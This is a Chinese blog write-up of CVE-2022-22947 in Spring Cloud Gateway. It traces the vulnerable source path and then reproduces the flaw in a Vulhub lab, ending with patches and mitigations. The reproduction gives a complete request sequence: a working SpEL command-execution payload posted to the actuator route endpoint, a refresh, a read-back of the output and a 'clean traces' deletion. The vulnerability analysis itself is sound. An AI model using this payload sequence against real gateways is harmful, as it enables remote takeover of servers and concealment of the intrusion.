CVE-2022-22947源码分析与漏洞复现

漏洞概述

CVE-2022-22947 是 Spring Cloud Gateway 中的一个高危远程代码执行(RCE)漏洞,CVSSv3 评分为 10.0(最高危)。该漏洞允许攻击者通过构造恶意 SpEL(Spring Expression Language)表达式,在启用并暴露 Actuator 端点的网关服务上执行任意命令,完全控制目标服务器。

影响版本

  • Spring Cloud Gateway 3.1.x < 3.1.1
  • Spring Cloud Gateway 3.0.x < 3.0.7
  • 其他不受支持的旧版本。

技术细节分析

1. 漏洞成因
  • SpEL 表达式注入
    Spring Cloud Gateway 的 ShortcutConfigurable 接口在处理路由过滤器参数时,使用 StandardEvaluationContext 解析用户输入的参数值。攻击者可通过 AddResponseHeader 等过滤器的 value 字段注入恶意 SpEL 表达式(如 T(java.lang.Runtime).exec("calc")),触发远程代码执行。

  • Actuator 端点暴露
    若应用程序配置启用了 management.endpoint.gateway.enabled=true 并对外暴露 /actuator/gateway 接口(如 management.endpoints.web.exposure.include=gateway),攻击者可通过该接口动态添加恶意路由。

2. 源码分析
漏洞入口点

漏洞的核心入口点是 /actuator/gateway/routes/{id} 接口,攻击者通过此接口添加包含恶意 SpEL 表达式的路由配置。以下从请求处理到表达式执行的完整调用链分析:


1. 路由添加请求处理(入口点)

代码位置org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save
触发条件:用户发送 POST 请求到 /actuator/gateway/routes/{id},携带恶意路由配置。
关键逻辑

@PostMapping("/routes/{id}")
	@SuppressWarnings("unchecked")
	public Mono<ResponseEntity<Object>> save(@PathVariable String id, @RequestBody RouteDefinition route) {

		return Mono.just(route).doOnNext(this::validateRouteDefinition)
				.flatMap(routeDefinition -> this.routeDefinitionWriter.save(Mono.just(routeDefinition).map(r -> {
					r.setId(id);
					log.debug("Saving route: " + route);
					return r;
				})).then(Mono.defer(() -> Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build()))))
				.switchIfEmpty(Mono.defer(() -> Mono.just(ResponseEntity.badRequest().build())));
	}

作用:接收并保存用户定义的路由配置,其中包含恶意过滤器参数。


2. 路由配置加载

代码位置org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters
触发条件:调用 /actuator/gateway/refresh 刷新路由后,系统加载所有路由配置。
关键逻辑

@SuppressWarnings("unchecked")
	List<GatewayFilter> loadGatewayFilters(String id, List<FilterDefinition> filterDefinitions) {
		ArrayList<GatewayFilter> ordered = new ArrayList<>(filterDefinitions.size());
		for (int i = 0; i < filterDefinitions.size(); i++) {
			FilterDefinition definition = filterDefinitions.get(i);
			GatewayFilterFactory factory = this.gatewayFilterFactories.get(definition.getName());
			if (factory == null) {
				throw new IllegalArgumentException(
						"Unable to find GatewayFilterFactory with name " + definition.getName());
			}
			if (logger.isDebugEnabled()) {
				logger.debug("RouteDefinition " + id + " applying filter " + definition.getArgs() + " to "
						+ definition.getName());
			}
			Object configuration = this.configurationService.with(factory)
					.name(definition.getName())
					.properties(definition.getArgs())
					.eventFunction((bound, properties) -> new FilterArgsEvent(
							RouteDefinitionRouteLocator.this, id, (Map<String, Object>) properties))
					.bind();//调用.bind()方法
			if (configuration instanceof HasRouteId) {
				HasRouteId hasRouteId = (HasRouteId) configuration;
				hasRouteId.setRouteId(id);
			}

			GatewayFilter gatewayFilter = factory.apply(configuration);
			if (gatewayFilter instanceof Ordered) {
				ordered.add(gatewayFilter);
			}
			else {
				ordered.add(new OrderedGatewayFilter(gatewayFilter, i + 1));
			}
		}
		return ordered;
	}

作用:解析路由配置中的过滤器参数(args),调用 bind 方法进行参数绑定。


3.bind方法调用 normalizeProperties()

代码位置org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#bind

public T bind() {
			validate();
			Assert.hasText(this.name, "name may not be empty");
			Assert.isTrue(this.properties != null || this.normalizedProperties != null,
					"properties and normalizedProperties both may not be null");

			if (this.normalizedProperties == null) {
				this.normalizedProperties = normalizeProperties();//调用normalizeProperties()
			}

			T bound = doBind();

			if (this.eventFunction != null && this.service.publisher != null) {
				ApplicationEvent applicationEvent = this.eventFunction.apply(bound, this.normalizedProperties);
				this.service.publisher.publishEvent(applicationEvent);
			}

			return bound;
		}
4. 参数绑定与规范化

代码位置org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties
触发条件:绑定过滤器参数时,对参数值进行规范化处理。
关键逻辑

@Override
		protected Map<String, Object> normalizeProperties() {
			if (this.service.beanFactory != null) {
				return this.configurable.shortcutType().normalize(this.properties, this.configurable,
						this.service.parser, this.service.beanFactory);
			}
			return super.normalizeProperties();
		}

作用:遍历参数键值对,调用 ShortcutType.normalize 方法处理 value 字段。


4. 表达式解析与执行

代码位置org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue
漏洞触发点:解析用户输入的 SpEL 表达式。
关键代码(漏洞版本):

static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
		Object value;
		String rawValue = entryValue;
		if (rawValue != null) {
			rawValue = rawValue.trim();
		}
		if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
			StandardEvaluationContext context = new StandardEvaluationContext();
			context.setBeanResolver(new BeanFactoryResolver(beanFactory));
			Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
			value = expression.getValue(context);
		}
		else {
			value = entryValue;
		}
		return value;
	}

问题分析

  • StandardEvaluationContext:允许执行任意 Java 方法(如 Runtime.exec())。
  • 用户输入可控entryValue 直接来自请求参数(如 AddResponseHeader 过滤器的 value 字段)。

5. 完整调用链
1. 用户发送恶意路由配置(POST /actuator/gateway/routes/{id})
   ↳ 触发 AbstractGatewayControllerEndpoint#save
2. 刷新路由(POST /actuator/gateway/refresh)
   ↳ 触发 RouteDefinitionRouteLocator#loadGatewayFilters
3. 加载过滤器配置
   ↳ 调用 ConfigurationService.ConfigurableBuilder#bind
4. 参数规范化
   ↳ 调用 ShortcutConfigurable.ShortcutType#normalize
5. 表达式解析与执行
   ↳ 调用 ShortcutConfigurable#getValue(使用 StandardEvaluationContext)

漏洞复现步骤

1. 环境搭建

使用 Vulhub 快速搭建漏洞环境:

docker-compose up -d

在这里插入图片描述

访问 http://目标IP:8080 确认服务正常。
在这里插入图片描述

2. 攻击流程
  1. 创建恶意路由

    POST /actuator/gateway/routes/test HTTP/1.1
    Host: target:8080
    Content-Type: application/json
    
    {
      "id": "test",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"whoami\").getInputStream())}"
        }
      }],
      "uri": "http://example.com"
    }
    

    在这里插入图片描述

    • 关键字段value 中的 SpEL 表达式执行 whoami 命令。
  2. 刷新路由

    POST /actuator/gateway/refresh HTTP/1.1
    Host: target:8080
    

在这里插入图片描述

  1. 触发命令执行
    GET /actuator/gateway/routes/test HTTP/1.1
    Host: target:8080
    

在这里插入图片描述

  • 响应示例"Result": "root\n",确认命令执行成功。
  1. 清理痕迹
    DELETE /actuator/gateway/routes/test HTTP/1.1
    Host: target:8080
    

修复方案

1. 官方修复
  • 升级版本
    • 3.1.x 用户升级至 3.1.1+
    • 3.0.x 用户升级至 3.0.7+
      修复代码中,StandardEvaluationContext 被替换为 GatewayEvaluationContext(基于 SimpleEvaluationContext),限制 SpEL 表达式功能。
2. 临时缓解
  • 禁用 Actuator 端点
    application.properties 中配置:
    management.endpoint.gateway.enabled=false
    management.endpoints.web.exposure.include=health,info
    
  • 网络隔离:限制 /actuator 端口的访问来源,仅允许内网 IP。
3. 安全加固
  • 启用 Spring Security:对 Actuator 接口进行身份认证和权限控制。
  • 输入过滤:自定义过滤器拦截包含 T()Runtime 等关键字的参数。

总结

CVE-2022-22947 的根源在于 Spring Cloud Gateway 对用户输入的高度信任与高危上下文的结合。其修复方案通过限制表达式执行权限,显著降低了攻击面。开发者应遵循以下安全实践:

  • 最小化暴露:避免对外暴露敏感接口。
  • 持续更新:及时应用框架安全补丁。
  • 纵深防御:结合网络隔离与代码层校验,防范类似漏洞。

参考链接

  1. CVE-2022-22947 漏洞复现与分析(简书)
  2. Spring 官方安全公告(VMware)
  3. 漏洞修复 Commit 记录(GitHub)
  4. FreeBuf 技术分析
  5. Vulhub 复现环境
  6. CVE-2022-22947
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安spinage

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值